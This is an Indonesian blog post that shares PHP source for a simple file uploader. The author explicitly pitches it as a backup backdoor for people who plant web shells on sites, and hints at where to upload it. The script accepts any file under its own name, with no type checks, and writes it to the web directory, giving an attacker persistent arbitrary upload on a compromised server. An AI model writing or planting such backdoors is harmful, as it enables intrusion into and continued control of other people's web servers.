Simple Uploader

Minggu, 19 Juni 2011 - Diposting oleh bams-newbie di 19.58
buat yg suka nanem shell ga ada salahnya nanem uploader juga buat jalan pintas cadangan
code:
 
  1. <?php
  2. $action = $_POST["action"];
  3. $max_size = "1048576";

  4. echo "
  5. <b>Uploader</b><br>
  6. <form action='upload.php' method=post  enctype='multipart/form-data'>
  7. File (max size: $max_size bytes/".($max_size/1024)." kb):<br>
  8. <input type='file' name='filename'><br>
  9. <input type='hidden' name='action' value='upload'>
  10. <input type='submit' value='Upload File'>
  11. </form>";


  12. if ($action == 'upload')
  13. {
  14.  
  15.  
  16.     if ($_FILES["filename"]["size"] > $max_size) die ("<b>File too big!  Try again...</b>");
  17.  
  18.  
  19.     copy($_FILES["filename"]["tmp_name"],"./".$_FILES["filename"]["name"]) or die("<b>Unknown error!</b>");
  20.     echo "<b>File Uploaded.</b>";
  21.  
  22.  
  23. }
  24.  
  25. ?> 
Save dengan nama upload.php , dah taukan harus diupload dimana


Kembangin ndiri bro 




Thanks to: DNZ (codenesia.)